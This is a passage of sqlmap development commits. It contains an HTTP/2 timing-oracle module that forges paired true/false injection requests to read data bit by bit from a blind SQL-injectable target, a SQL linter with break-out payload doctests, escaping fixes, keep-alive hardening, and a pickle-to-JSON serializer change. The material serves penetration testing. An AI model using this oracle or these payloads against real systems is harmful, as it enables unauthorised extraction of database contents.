comparison - only the condition request and a FIXED always-heavy + reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 + and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS + errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially + always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over + a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a + phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still + clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. + Returns True iff the condition holds.""" + condLast = 0 + for i in range(votes): + if i % 2 == 0: + order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4 + else: + order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2 + if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote + condLast += 1 + return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) + + +def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): + """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 + stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); + below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" + reqSlow = _forgeRequest("1=1", conn.host, vector) + reqFast = _forgeRequest("1=0", conn.host, vector) + return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + + +if __name__ == "__main__": + # End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad + # h2sqlserver.py): calibrate, then read a run of known bits and report accuracy. + import sys + + host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" + port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470 + cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000 + + def req(bit): + return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} + + conn = connect(host, port, None, 30) + usable, conf = calibrate(conn, req(1), req(0), trials=40) + print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) + if usable: + import itertools + # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy + # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one + # runs heavy, so a single pair resolves the bit both ways. + bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) + ok = 0 + for b in bits: + got = readBit(conn, req(b), req(1 - b), votes=1) + ok += int(bool(got) == bool(b)) + print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) + conn.close() diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 6e5bb4f27..60aa12aa0 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -806,7 +806,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): - if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): + if (timeBasedCompare or unexpectedCode) and kb.get("timeless") is None and not validateChar(idx, retVal): if restricted: # the character fell outside this column's observed range - re-extract # over the full charset (not timing noise, so no delay increase / retry count) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 9c9a87b84..568a0eb53 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -442,9 +442,11 @@ class Entries(object): # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a # value's characters across threads) and the per-column Huffman model + low-cardinality - # guessing engage under concurrency. Used for the boolean channel with '--threads'; the - # classic per-character-parallel loop stays for single-thread and time-based. - if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + # guessing engage under concurrency. Used for the boolean channel with '--threads', and + # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and + # deterministic - unlike classic time-based, whose char-parallel loop interleaves its + # per-thread output). Single-thread and classic time-based keep the char-parallel loop. + if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None): # One value-parallel pass over every (non-empty) cell, so there is a single # thread pool and values stream live as they complete - out of order, exactly # like the error/union dumps - instead of a silent progress counter. From f65dc92b1e508b4d5588bc95146b02e3b4c1de92 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 02:00:04 +0200 Subject: [PATCH 144/165] Adding SQLlint for checking the sanity of queries --- lib/core/settings.py | 2 +- lib/utils/sqllint.py | 265 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 266 insertions(+), 1 deletion(-) create mode 100644 lib/utils/sqllint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 800d731e2..e4e915c83 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.36" +VERSION = "1.10.7.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py new file mode 100644 index 000000000..cc2209231 --- /dev/null +++ b/lib/utils/sqllint.py @@ -0,0 +1,265 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +try: + from lib.core.data import kb + from lib.core.data import paths + from lib.core.common import getFileItems +except ImportError: + kb = paths = None + getFileItems = None + +# Token type constants (kept short/local; this is a self-contained lexer) +T_WS = "ws" +T_LCOMMENT = "lcomment" +T_BCOMMENT = "bcomment" +T_STR = "str" # closed string literal ('...' or "...") +T_UNTERM = "unterm" # unterminated string literal (open quote to end) +T_QID = "qid" # quoted identifier (`...` or [...]) +T_NUM = "num" +T_IDENT = "ident" # bare identifier (not a keyword) +T_KEYWORD = "keyword" # identifier whose upper() is a known SQL keyword +T_OP = "op" +T_COMMA = "comma" +T_DOT = "dot" +T_SEMI = "semi" +T_LPAREN = "lparen" +T_RPAREN = "rparen" +T_OTHER = "other" # anything the lexer could not classify + +# Master lexer: ORDER MATTERS (longer / more specific patterns first) +_LEXER = re.compile(r""" + (?P<%s>\s+) + | (?P<%s>(?:--|\#)[^\n]*) + | (?P<%s>/\*.*?\*/) + | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") + | (?P<%s>`[^`]*`|\[[^\]]*\]) + | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) + | (?P<%s>[A-Za-z_@$][A-Za-z0-9_@$]*) + | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) + | (?P<%s>,) + | (?P<%s>\.) + | (?P<%s>;) + | (?P<%s>\() + | (?P<%s>\)) +""" % (T_WS, T_LCOMMENT, T_BCOMMENT, T_STR, T_QID, T_NUM, T_IDENT, T_OP, + T_COMMA, T_DOT, T_SEMI, T_LPAREN, T_RPAREN), re.VERBOSE | re.DOTALL) + +# operand-producing token types (something that evaluates to a value) +_OPERANDS = frozenset((T_NUM, T_STR, T_IDENT, T_QID, T_RPAREN)) + +# operands trustworthy as the left side of a "missing separator" check. +# a string is excluded because break-out payloads routinely produce a fake +# merged string (e.g. "1' AND '1"->"' AND '") followed by a bare number; a +# number is excluded because some dialects legitimately space-separate two +# numbers (e.g. HSQLDB "LIMIT ") +_HARD_OPERANDS = frozenset((T_IDENT, T_RPAREN)) + +# binary keyword operators (need an operand on both sides) +_BINARY_KEYWORDS = frozenset(("AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP", "DIV", "MOD")) + +# binary symbolic operators (unary +/-/~ excluded; '*' excluded as it doubles +# as the SELECT/COUNT wildcard) +_BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) + +_KEYWORDS_CACHE = None + + +class Token(object): + __slots__ = ("type", "value", "start", "end") + + def __init__(self, type_, value, start, end): + self.type = type_ + self.value = value + self.start = start + self.end = end + + +def _keywords(): + global _KEYWORDS_CACHE + + if kb is not None and getattr(kb, "keywords", None): + return kb.keywords + + if _KEYWORDS_CACHE is not None: + return _KEYWORDS_CACHE + + retVal = set() + + candidate = None + if paths is not None and getattr(paths, "SQL_KEYWORDS", None): + candidate = paths.SQL_KEYWORDS + else: + # self-sufficient fallback (e.g. bare doctest run before boot) + candidate = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "data", "txt", "keywords.txt") + + try: + if getFileItems is not None: + retVal = set(getFileItems(candidate)) + else: + with open(candidate) as f: + retVal = set(_.strip().upper() for _ in f if _.strip() and not _.startswith('#')) + except Exception: + pass + + _KEYWORDS_CACHE = retVal + return retVal + + +def tokenize(sql, keywords=None): + """ + Fragment-tolerant lexer. Returns a list of Token objects (whitespace kept + so callers can reason about token gluing, e.g. '1UNION'). + + >>> [t.type for t in tokenize("id 1") if t.type != 'ws'] + ['ident', 'num'] + >>> [t.type for t in tokenize("1foo") if t.type != 'ws'] + ['num', 'ident'] + """ + if keywords is None: + keywords = _keywords() + + retVal = [] + pos = 0 + length = len(sql) + + while pos < length: + match = _LEXER.match(sql, pos) + if match: + type_ = match.lastgroup + value = match.group() + if type_ == T_IDENT and value.upper() in keywords: + type_ = T_KEYWORD + retVal.append(Token(type_, value, pos, match.end())) + pos = match.end() + else: + char = sql[pos] + if char in "'\"`[": + # an opening quote/bracket that never closes -> unterminated to end + retVal.append(Token(T_UNTERM, sql[pos:], pos, length)) + pos = length + else: + retVal.append(Token(T_OTHER, char, pos, pos + 1)) + pos += 1 + + return retVal + + +def _significant(tokens): + """Tokens that carry structure (drop whitespace and comments).""" + return [_ for _ in tokens if _.type not in (T_WS, T_LCOMMENT, T_BCOMMENT)] + + +def _isBinary(token): + if token.type == T_KEYWORD: + return token.value.upper() in _BINARY_KEYWORDS + if token.type == T_OP: + return token.value in _BINARY_SYMBOLS + return False + + +def checkSanity(sql, keywords=None): + """ + Fragment-tolerant SQL sanity check. Models locally-valid SQL and reports + only *interior* impossibilities - constructs that no server-side prefix or + suffix could ever make legal. Dangling quotes/parens at the edges are + tolerated (the surrounding query supplies the other half). + + Returns a list of human-readable issue strings (empty == looks sane). + + Assumes SQL keyword operators (AND/OR/LIKE/...) are used as operators, not + as user identifiers named after a keyword (some engines, e.g. SQLite, allow + a column literally named "LIKE") - injection payloads never do the latter. + + >>> checkSanity("1 AND 1=1") + [] + >>> checkSanity("1') UNION SELECT NULL-- -") + [] + >>> bool(checkSanity("(SELECT id 1 FROM users)")) + True + >>> bool(checkSanity("1UNION SELECT NULL")) + True + """ + if not sql: + return [] + + if keywords is None: + keywords = _keywords() + + issues = [] + tokens = tokenize(sql, keywords) + + # -- edge tolerance for unterminated strings --------------------------- + # A trailing open quote at paren-depth 0 is a legitimate break-out. One + # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. + # an odd quote count within an owned scope (the classic "users'" abomination). + depth = 0 + for token in tokens: + if token.type == T_LPAREN: + depth += 1 + elif token.type == T_RPAREN: + depth -= 1 + elif token.type == T_UNTERM: + if depth > 0: + issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + break + + sig = _significant(tokens) + + for i in range(len(sig)): + cur = sig[i] + prev = sig[i - 1] if i > 0 else None + nxt = sig[i + 1] if i + 1 < len(sig) else None + + # a keyword operator immediately followed by '(' is a function call + # (e.g. the SQLite/MySQL LIKE(a, b) function), not a binary operator + curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN + curBinary = _isBinary(cur) and not curIsFunc + + # -- glued number/keyword boundary: '1UNION', '1AND' --------------- + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type in (T_IDENT, T_KEYWORD): + issues.append("digit glued to a word ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + + # -- operand directly followed by a bare number: 'id 1' ------------ + # a numeric literal can never be an alias, so this is always broken + if cur.type == T_NUM and prev is not None and prev.type in _HARD_OPERANDS: + issues.append("missing separator before number '%s' at offset %d" % (cur.value, cur.start)) + + # -- degenerate parenthesis / punctuation adjacency ---------------- + if prev is not None: + pair = (prev.type, cur.type) + if pair == (T_COMMA, T_COMMA): + issues.append("empty list item (',,') at offset %d" % cur.start) + elif pair == (T_LPAREN, T_COMMA): + issues.append("comma right after '(' at offset %d" % cur.start) + elif pair == (T_COMMA, T_RPAREN): + issues.append("comma right before ')' at offset %d" % cur.start) + elif pair == (T_RPAREN, T_LPAREN): + issues.append("adjacent groups ')(' at offset %d" % cur.start) + elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): + issues.append("empty parentheses at offset %d" % prev.start) + elif cur.type == T_RPAREN and _isBinary(prev): + issues.append("operator right before ')' at offset %d" % cur.start) + elif prev.type == T_COMMA and curBinary: + issues.append("operator right after ',' at offset %d" % cur.start) + elif prev.type == T_LPAREN and curBinary: + issues.append("operator right after '(' at offset %d" % cur.start) + + # -- doubled binary operators: '= =', 'AND AND' -------------------- + if prev is not None and _isBinary(prev) and curBinary: + # allow a unary that legitimately follows (handled by NOT/~/sign) + if not (cur.type == T_KEYWORD and cur.value.upper() == "NOT"): + issues.append("doubled operator ('%s %s') at offset %d" % (prev.value, cur.value, prev.start)) + + # -- stray un-lexable character ------------------------------------ + if cur.type == T_OTHER: + issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + + return issues From 89ddc5a592c943e07025851d64d5e19c0b33f30a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 02:09:35 +0200 Subject: [PATCH 145/165] Minor patch --- lib/core/settings.py | 2 +- plugins/dbms/oracle/syntax.py | 2 ++ plugins/generic/syntax.py | 19 +++++++++++-------- 3 files changed, 14 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e4e915c83..c7165b0d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.37" +VERSION = "1.10.7.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 91e255219..ef06da6c8 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -16,6 +16,8 @@ class Syntax(GenericSyntax): True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True + >>> Syntax.escape("SELECT 'a''b' FROM DUAL") == "SELECT CHR(97)||CHR(39)||CHR(98) FROM DUAL" + True """ def escaper(value): diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 5da7b9852..1202771fd 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -26,18 +26,21 @@ class Syntax(object): retVal = expression if quote: - for item in re.findall(r"'[^']*'+", expression): - original = item[1:-1] - if original: + # Match a full SQL string literal, honouring the '' (doubled single quote) escape - e.g. + # 'a''b' is ONE literal whose value is a'b, not 'a'' followed by a dangling b'. The old + # r"'[^']*'+" split on the inner '' and left the tail bare, corrupting the encoded payload. + for item in re.findall(r"'(?:[^']|'')*'", expression): + value = item[1:-1].replace("''", "'") # inner content with '' collapsed to the real quote + if value: if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: continue - if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original + if re.search(r"\[(SLEEPTIME|RAND)", value) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(value) if not conf.noEscape else value - if replacement != original: + if replacement != value: retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + elif len(value) != len(getBytes(value)) and "n%s" % item not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace(item, "n%s" % item) else: retVal = escaper(expression) From e2c55c1ddc56d331ffe45d96b221a937b8da87b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 11:14:34 +0200 Subject: [PATCH 146/165] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 11 +++++++++++ lib/request/keepalive.py | 24 ++++++++++++++++++++---- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c7165b0d3..01edfd279 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.38" +VERSION = "1.10.7.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index f148d9358..ce39c8f29 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -760,6 +760,17 @@ class Connect(object): warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warning(warnMsg) + # Keep-alive: dispose the response explicitly. Its wrapped close() hands the socket + # back to the pool when the body was fully drained, otherwise drops it (a size-capped + # partial read must not be reused). This avoids leaning on GC to reclaim it (delayed on + # non-refcounting runtimes like PyPy). Guarded by the handler's marker so the HTTP/2 + # reuse pool is left untouched. + elif conn is not None and getattr(conn, "_keepaliveManaged", False): + try: + conn.close() + except Exception: + pass + except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index e3f192643..1195ff477 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -185,7 +185,11 @@ class _KeepAliveHandler(object): a connection is never reused. """ - state = {"handled": False} + # 'eof' is raised only on a genuine end-of-body (observed while reading), never + # merely because close() nulled the file object; the socket is handed back to the + # pool solely on that signal, so a half-read response can never be reused (which + # would splice its leftover bytes onto the next request - response desynchronization) + state = {"handled": False, "reading": False, "eof": False} _read = response.read _close = response.close @@ -200,7 +204,7 @@ class _KeepAliveHandler(object): def settle(): # Once (and only once) the body is fully drained, decide the socket's fate - if state["handled"] or not drained(): + if state["handled"] or not state["eof"]: return state["handled"] = True if keep: @@ -212,12 +216,23 @@ class _KeepAliveHandler(object): pass def read(*args, **kwargs): - data = _read(*args, **kwargs) + state["reading"] = True + try: + data = _read(*args, **kwargs) + finally: + state["reading"] = False + if drained(): + state["eof"] = True settle() return data def close(): - # Note: on Python 2 httplib.read() calls close() itself upon EOF + # Note: on Python 2 httplib.read() calls close() itself upon EOF, i.e. from inside + # our read(); such an in-read close marks a real end-of-body. An external close() + # on a not-yet-drained body means the caller abandoned it (e.g. sqlmap hitting a + # size cap), so the socket must be dropped rather than returned to the pool. + if state["reading"]: + state["eof"] = True _close() settle() if not state["handled"]: @@ -228,6 +243,7 @@ class _KeepAliveHandler(object): except Exception: pass + response._keepaliveManaged = True response.read = read response.close = close From 4504edaeb115fe2dd831252cccef41069765a33c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:13:49 +0200 Subject: [PATCH 147/165] Switching from pickle to json for serialization --- lib/core/bigarray.py | 20 +- lib/core/common.py | 12 +- lib/core/convert.py | 240 ++++++++++++++--- lib/core/patch.py | 46 ---- lib/core/settings.py | 9 +- lib/core/unescaper.py | 5 +- lib/utils/hashdb.py | 36 ++- tests/test_convert.py | 39 ++- tests/test_serialize.py | 462 ++++++++++++++++++++++++++++++++ tests/test_sqllint.py | 191 +++++++++++++ tests/test_unpickle_security.py | 121 --------- thirdparty/bottle/bottle.py | 25 +- 12 files changed, 933 insertions(+), 273 deletions(-) create mode 100644 tests/test_serialize.py create mode 100644 tests/test_sqllint.py delete mode 100644 tests/test_unpickle_security.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 1606bc69a..5a833a9e7 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -5,11 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import itertools import os import shutil @@ -86,7 +81,7 @@ class BigArray(list): >>> _[0] = [None] >>> _.index(0) 20 - >>> import pickle; __ = pickle.loads(pickle.dumps(_)) + >>> import copy; __ = copy.deepcopy(_) >>> __.append(1) >>> len(_) 100001 @@ -158,9 +153,10 @@ class BigArray(list): self.chunks[-1] = self.cache.data self.cache.dirty = False else: + from lib.core.convert import deserializeValue try: with open(filename, "rb") as f: - self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) + self.chunks[-1] = deserializeValue(zlib.decompress(f.read())) except IOError as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex @@ -207,11 +203,13 @@ class BigArray(list): self.close() def _dump(self, chunk): + from lib.core.convert import getBytes, serializeValue try: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) self.filenames.add(filename) with os.fdopen(handle, "w+b") as f: - f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) + # serializeValue() returns text; encode to bytes for the compressed on-disk chunk + f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " @@ -240,9 +238,10 @@ class BigArray(list): pass if not (self.cache and self.cache.index == index): + from lib.core.convert import deserializeValue try: with open(self.chunks[index], "rb") as f: - self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) + self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex @@ -361,8 +360,9 @@ class BigArray(list): if cache_index == idx and cache_data is not None: data = cache_data else: + from lib.core.convert import deserializeValue with open(chunk, "rb") as f: - data = pickle.loads(zlib.decompress(f.read())) + data = deserializeValue(zlib.decompress(f.read())) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex diff --git a/lib/core/common.py b/lib/core/common.py index 09d2d308c..7dd4d441a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -53,14 +53,14 @@ from lib.core.compat import LooseVersion from lib.core.compat import RecursionError from lib.core.compat import round from lib.core.compat import xrange -from lib.core.convert import base64pickle -from lib.core.convert import base64unpickle from lib.core.convert import decodeBase64 +from lib.core.convert import deserializeValue from lib.core.convert import decodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape +from lib.core.convert import serializeValue from lib.core.convert import stdoutEncode from lib.core.data import cmdLineOptions from lib.core.data import conf @@ -5071,7 +5071,7 @@ def serializeObject(object_): True """ - return base64pickle(object_) + return serializeValue(object_) def unserializeObject(value): """ @@ -5079,11 +5079,11 @@ def unserializeObject(value): >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True - >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') - 'foobar' + >>> unserializeObject(serializeObject('foobar')) == 'foobar' + True """ - return base64unpickle(value) if value else None + return deserializeValue(value) if value else None def resetCounter(technique): """ diff --git a/lib/core/convert.py b/lib/core/convert.py index 31bbf9b8e..95b29622d 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -5,14 +5,11 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import base64 import binascii import codecs +import datetime +import decimal import json import re import sys @@ -26,7 +23,6 @@ from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import NULL -from lib.core.settings import PICKLE_PROTOCOL from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING from thirdparty import six @@ -41,48 +37,228 @@ except ImportError: htmlEscape = _escape -def base64pickle(value): - """ - Serializes (with pickle) and encodes to Base64 format supplied (binary) value +# Safe (no arbitrary code execution) serialization used for the session store (HashDB) +# and BigArray disk chunks. The former serializer could execute code while loading, so +# deserializing sqlmap's own (locally writable) session/cache files was a recurring +# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing +# is ever executed on load. +# +# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest +# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers +# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with +# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of +# sqlmap's own classes below. Reconstruction of classes is limited to that explicit +# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable. - >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] - True - >>> isinstance(base64unpickle(base64pickle(BigArray([1, 2, 3]))), BigArray) - True +# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON +# objects), so any decoded JSON object is one of our wrappers and this key can never collide +_SERIALIZE_TAG = "$T" + +# fully-qualified names of the ONLY classes that may be reconstructed on deserialization +_SERIALIZE_CLASSES = frozenset(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", +)) + +def _serializeEncode(value): + """ + Turns a Python value into a JSON-serializable (tagged) structure """ - retVal = None + if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types): + return value + + if isinstance(value, six.text_type): + return value + + # Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON + # string that would round-trip as 'unicode') keeps the exact byte type across versions + if isinstance(value, (six.binary_type, bytearray)): + raw = bytes(value) if isinstance(value, bytearray) else value + return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + + if isinstance(value, memoryview): + return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} try: - retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) - except: - warnMsg = "problem occurred while serializing " - warnMsg += "instance of a type '%s'" % type(value) - singleTimeWarnMessage(warnMsg) + if isinstance(value, buffer): # noqa: F821 # Python 2 only + return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0} + except NameError: + pass - try: - retVal = encodeBase64(pickle.dumps(value), binary=False) - except: - raise + # Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch + # (otherwise it would round-trip as a plain list, losing its type) + if isinstance(value, BigArray): + return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, list): + return [_serializeEncode(_) for _ in value] + + if isinstance(value, tuple): + return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, frozenset): + return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, (set, _collections.Set)): + return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, dict): + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))} + elif value.__class__ is dict: + return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]} + else: + return _serializeUnknown(value, name) + + if isinstance(value, decimal.Decimal): + return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)} + + if isinstance(value, datetime.datetime): + return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.date): + return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]} + + if isinstance(value, datetime.time): + return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.timedelta): + return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]} + + name = 